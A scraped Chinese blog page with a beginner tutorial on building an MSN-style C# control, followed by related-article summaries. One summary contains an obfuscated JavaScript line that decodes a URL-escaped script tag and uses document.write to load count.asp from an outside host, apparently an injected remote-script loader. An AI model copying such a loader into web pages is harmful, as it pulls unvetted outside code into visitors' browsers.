教你做MSN样式的控件

用VC++制作MSN、QQ 的消息提示窗口 用VC++制作MSN、QQ 的消息提示窗口用过QQ和MSN聊天工具的人都知道,只要好友上线,就会在托盘的位置处显示一个提示窗口,以是拉帘式的,或者是淡入淡出的形式出现;想想何不为自己的程式也加一个漂亮的提示窗口呢?   一、MSN拉帘式窗口制作  分三部分:1、窗口的显示;2、窗口的停留;3、窗口的消失;如果达到这样郊果,系统中要有三个定时器,进行分别控制。定义的定时器如下:#defi 阅读详情
我想尝试一下写文章的,就写下了这篇文章希望能够给C#的初学者给与一点提示。上午做了一个MSN样式的控件,我就以此为例教大家做控件。让大家感受一下 .net给我们带来的 方便。体验一下他快速开发的能力。下面我先介绍控件的大体结构(如图所示)

     http://dongde.com/down/1.jpg,
Bars和PageCollection为俩个集合分别来控制 bar 和page ,下面我说说我写控件碰到的一些难点,第一个就是控件做好了,如何在自己以后的编程不写代码就能完成界面的设计,这个。net已经给我们准备好一套很好的机制,只要照着用就可以了,我参照了 微软的tabcontrol 写法,通过设置属性就可以添加选型卡,我的做法为[Category("Appearance")]
  [Description("在这里添加选项卡了")]
  [DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
  public PageCollection PagesItem
  {
   get
   {
    return this.pages;
   }
  }
  [Category("Appearance")]
  public Panel Bars
  {
   get
   {
    return this.myBars;
   }
  }
注意这条属性哦  [DesignerSerializationVisibility(DesignerSerializationVisibility.Content)],具体什么意思还是你自己看看帮助了,
第二个难点就是如何控制控件在设计时候的状态就是说什么时候把消息教给控件处理,什么时候把消息交给设计器来处理,在这一点我做的不是很成功,我是把消息都交给控件处理,虽然试图精确的控制但是还是没有能控制的住,
 protected override void WndProc(ref System.Windows.Forms.Message m)
  {
      this.DefWndProc(ref m); //把消息全交给了控件,缺点就是设计器都不能完成单击选中的功能了,但是你拖动还是可以的,
   #region garbage
//   switch(m.Msg)
//   {
//    case (int)Msgs.WM_MOUSEMOVE:
//     this.DefWndProc(ref m);
//     break;
//    case (int)Msgs.WM_LBUTTONDOWN:
//     if(this.Control != null)
//     {
//      int xPos = (short)((uint)m.LParam & 0x0000FFFFU);
//      int yPos = (short)(((uint)m.LParam & 0xFFFF0000U) >> 16);
//      Rectangle rect = new Rectangle(this.Control.Location,new Size(40,100));
//      if(rect.Contains(xPos,yPos))
//      {
//       this.DefWndProc(ref m);
//      }
//      else
//      {
//       base.WndProc(ref m);
//      }
//     }
//     break;
//    default:
//     base.WndProc(ref m);
//     break;
//   }
   #endregion

,下面说说如何使用,如果你用过tabcontrol,用我的控件就很容易了,通过设置 pageitem 属性 ,和page的barimage属性就可以了。好了一个接近完善的控件就做出来的,使用是那末的方便,只要把它加入工具箱就可以了,不需要每次都写一些复杂的代码,做控件是不时很容易哦 ,

易语言实现MSN交互弹窗教程 易语言是一种简单易学的编程语言,它以中文作为编程语言的关键字和语法,使得中文用户能够更加轻松地进行编程学习和软件开发。本章将带您进入易语言编程的世界,从基础知识开始,逐步深入了解易语言的语法结构、编程范式以及如何高效地利用它来开发实用的应用程序。在易语言中,窗体是应用程序用户界面的基本构成单元,是用户与程序交互的主要平台。窗体可以包含各种控件,例如按钮、文本框、标签等,它们为用户提供了丰富的交互方式。窗体的类型分为普通窗体和对话框窗体,各自服务于不同的场景需求。 阅读详情

相关推荐

C# 实现MSN风格气泡提示窗口教程

在C#中,自定义窗体的外观是通过修改窗体的属性来实现的。为了设计出独特的气泡提示窗口,我们需要对窗体的背景颜色、边框样式、形状和大小等进行定制。首先,设置背景颜色可以采用简单的属性赋值。而要让窗体看起来像气泡,通常会选择渐变色作为背景,比如使用来创建渐变效果。其次,对于边框样式,虽然默认的属性提供了多种选项,但为了更贴近气泡的外观,我们可能需要自定义绘制边框。// 设置窗体的背景颜色为渐变色// 浅蓝色背景。

weixin_33670640的博客 828

MSN弹出消息窗体

 现在有大量的第三方控件存在,这些控件包括了开发的各个方面,但对于开发人员而言选择一个合适的控件却很难,所以今天我们要推荐的是一个可以实现类似MSN弹出通知消息功能的控件:   下载控件:PopupWin    使用范例    MSN由个很好的功能,就是每当你的MSN好友上线时,MSN会自动在窗体托盘的右下角由下往上弹出消息框来通知你,这个功能十分实用,比如在论坛里,当有新回复你的帖子时,系统会自

qiushengb的专栏 1350

【经验分享】使用Keil5烧录代码遇到的问题及解决方法

本文介绍了在使用Keil5烧录代码过程中可能遇到的常见问题,主要为编译错误和下载失败,并提供了解决方案和注意事项。通过本文中提供的具体解决方案和注意事项,希望能够帮助读者更加顺利地进行Keil5烧录代码操作,提高开发效率和成果实现。

qq_63195670的博客 1万+

类似MSN弹出通知消息功能的控件[转]

现在有大量的第三方控件存在,这些控件包括了开发的各个方面,但对于开发人员而言选择一个合适的控件却很难,所以今天我们要推荐的是一个可以实现类似MSN弹出通知消息功能的控件:  下载控件:PopupWin  使用范例   MSN由个很好的功能,就是每当你的MSN好友上线时,MSN会自动在窗体托盘的右下角由下往上弹出消息框来通知你,这个功能十分实用,比如在论坛里,当有新回复你的帖子时,系统会自动弹出消息...

weixin_30918633的博客 105

【PLIO学习总结】laserMapping中的时间戳与状态更新逻辑

本文仅用于个人学习总结记录。如有错误,请批评指正。

larrydong的博客 1648

CCSP考后复盘:那些刷题时感觉良好,考场却发懵的题目到底长什么样?

本文深入分析了CCSP考试中常见的题目陷阱和解题策略,揭示了刷题与实战的差距。通过解析换装题、双胞胎选项和场景题等典型题型,帮助考生掌握拆题技巧和思维模式转变,提升应对CCSP考试的能力。

weixin_30485379的博客 438

asp.net第三方控件消息控件popupwin.dll

MSN由个很好的功能,就是每当你的MSN好友上线时,MSN会自动在窗体托盘的右下角由下往上弹出消息框来通知你,这个功能十分实用,比如在论坛里,当有新回复你的帖子时,系统会自动弹出消息提示框,又或者在一个电子政务的系统里,当收到新的邮件或者工作单时,可以使系统弹出消息框提示等等。那么,在ASP.NET构建的Web应用中,如何实现这样的功能呢?在本文中,向读者推荐一个可以实现类似MSN的通知消息窗口效果的.NET控件。 <br />  首先让我们来看下该控件实现后的样子,如下图:<br /><br />可以看

lyg的专栏 973

R语言机器学习:XGBoost线性回归模型的SHAP值

SHAP(SHapley Additive exPlanations)值是一种基于博弈论Shapley值的机器学习模型解释方法,能够解释任何模型的预测结果。其主要用途包括:1)提高模型的可解释性,帮助非技术用户理解模型预测;2)识别对模型预测最重要的特征,辅助特征选择;3)调试模型,发现预测中的异常;4)评估模型公平性,避免偏见。SHAP值的计算方法包括初始化、迭代计算、归一化和解释,常用工具如Python的shap库支持多种计算方式(如TreeSHAP、KernelSHAP等)。本文还提供了基于R语言计算

专注生信领域 3442

ASP.NET中实现MSN通知消息功能

ASP.NET中实现MSN通知消息功能Category: ASP.NET技术 现在有大量的第三方控件存在,这些控件包括了开发的各个方面,但对于开发人员而言选择一个合适的控件却很难,所以今天我们要推荐的是一个可以实现类似MSN弹出通知消息功能的控件:  下载控件:PopupWin   使用范例   MSN由个很好的功能,就是每当你的MSN好友上线时,MSN会自动在窗体托盘的右下角由下

坚定的锡兵 1013

SAP-MM-采购过账接口(与WMS集成)-代码

1、判断传入值非空检验; 2、判断过账日期是否允许在当前期间; 3、判断是否为集采订单业务,是否审批完成; 4、判断是否发布标准成本发布(此业务场景与价格控制3+S有关) 5、保存日志表; 6、判断业务公司订单审批状态; 7、创建STO交货单、集采公司订单过账、STO公司间创建交货单、交货单过账(两步法)、过账失败回滚(冲销交货、删除交货单、冲销集采入库)

qq_32198063的博客 421

用 RFC Destination 打通 VS Code 与 ABAP 后端,ABAP 开发连接不只是登录那么简单

本文重点介绍了在VS Code中配置ABAP开发环境时建立RFC destination连接的关键细节。文章指出:1. RFC destination是连接前端开发工具与ABAP后端的核心配置,包含系统类型、客户端、用户名等关键信息;2. 连接方式的选择(RFC/HTTP)由产品形态决定,On-Premise和Private Edition使用RFC,而BTP和Public Cloud使用HTTP;3. 连接创建后需要通过添加工作区文件夹来展示开发对象;4. RFC连接涉及网络可达性、身份认证和开发权限三个

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 213

popupWin 属性及用法介绍 ASP.NET控件,仿QQ,msn右下角弹出窗口

一、基本说明: 此弹出框控件是可像MSN一样的那种消息弹出提示框效果,此控件支持多种弹出效果,同时也可以设置钩子等,以下将为大家介绍相关的用法 二、属性说明: 基本控件属性: ActionType:动作类型(点击连接后),返回PopupAction枚举。(注意:如果要使用相关的点击事件,如 OnLinkClicked 和 OnPopupClosed,此处必须设为 Rai...

diaofuzuo3286的博客 241

把复杂计算推到数据库里:ABAP CDS View Table Function 从原理到落地实践

摘要:本文深入解析ABAP CDS Table Function技术,重点探讨其在复杂业务场景下的应用价值。当CDS View无法满足窗口函数、递归计算等高级需求时,Table Function通过结合CDS类型系统与AMDP的数据库原生计算能力,成为关键解决方案。文章详细介绍了Table Function的架构设计(CDS实体声明+AMDP实现)、客户端处理机制、开发传输流程中的注意事项,并通过航班数据示例展示最小实现闭环。这项技术特别适用于需要将复杂计算下推到数据库层的场景,能显著提升RAP和OData

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 2299

ASP.NET 仿MSN Messenger Alert的弹出窗口控件

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

383

rk3588主板PDM接口接数字MIC录音

本文介绍了Rockchip 3588平台上6麦克风PDM接口的硬件连接与软件调试过程。硬件方面展示了PDM0_CLK0_M0时钟脚和三组数据脚的连接方案。软件配置包括设备树修改,生成声卡节点,并提供了6通道录音命令示例。文章重点分析了两个常见问题:录音无声(需检查供电、接线和波形)和通道数据缺失(需正确配置rockchip,path-map寄存器映射)。最后通过Audition工具验证录音文件,确认各通道工作正常。调试过程完整展现了从硬件连接到软件配置的完整流程。

m0_60805802的博客 1014

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

产品设计-基础控件-信息反馈控件

设计过程中要注意复用性,即不同的模块但相同的场景中,吐司提示控件需要保持样式、交互,以及逻辑的一致,不能一个场景和页面中用某种类型的吐司提示控件,其他同样的场景和页面却用另一种类型的吐司提示控件,最终导致产品缺乏规范性和统一性。而加载状态控件适用于进度信息不明确的场景,例如,打开一个新页面,由于网络速度慢,可能打开得很慢,但是具体打开进度是多少,何时可以打开,这些信息是不确定的。例如,如果单击“删除”按钮,执行删除功能,就会弹出承载删除功能的对话框控件,且对话框往往是全局居中的,等待用户的交互指令。

weixin_37689012的博客 2383

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

发布几个常用的控件:MessageTip、FixedPositionDiv、FlashSlider、FloatContent 控件

MessageTip控件:仿 QQ、MSN 样式的消息提示框 简介: 实现仿 QQ、MSN 样式的消息提示框的效果,一个页面可以放置多个提示框,并且可以定制显示的位置。无需写任何代码,直接从工具箱拖放到页面即可实现。 FixedPositionDiv 控件:固定消息提示框 简介: 实现提示框在固定位置固定,不随浏览器滚动而移动。 FlashS...

party 108

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

分享一个改进版的仿MSN/QQ弹出窗口(C#)

在这篇文章(http://www.cnblogs.com/downmoon/archive/2007/12/29/1020026.html)中,邀月曾经介绍过使用cookie使用登录后像MSN,QQ那样的弹出窗口,今天在项目中再次使用时,对原控件进行了封装,提供了几个属性: 1、PopShowCycle:弹出周期。默认为OnceByReCreateCookie。 OnceByReCr...

dfdfadsf3443的博客 140

C#.NET 皮肤控件的应用

1.先下载皮肤控件,比如IrisSkin系列版本,4.0版本建议 2.在程序项目中添加引用,选择该dll文件 3.在login等窗体中添加自己的控件中选择浏览到该控件 4.然后代码引用   private void frmLogin_Load(object sender, EventArgs e)         {             string SPath = Applicati...

weixin_42058487的博客 1275

ASP.NET -自定义 TreeView Web 服务器控件的外观

TreeView 控件的呈现是可完全自定义的,这使得可以使用多种多样的显示样式。  若要自定义 TreeView 控件的外观,可以执行以下操作:   ·指定影响控件显示和呈现的 TreeView 控件属性。  ·指定一个 ImageSet 属性,该属性选择一组在运行时同控件一起呈现的内置图像。  ·指定用于控制 TreeView 控件内特定 TreeNode 对象组的显示及呈现特性的各图像和样式属

ulark的专栏 844
上一篇: 技术资料,收藏
下一篇: DataList和DataRepeater分页
jigee
博客等级 码龄22年 2粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值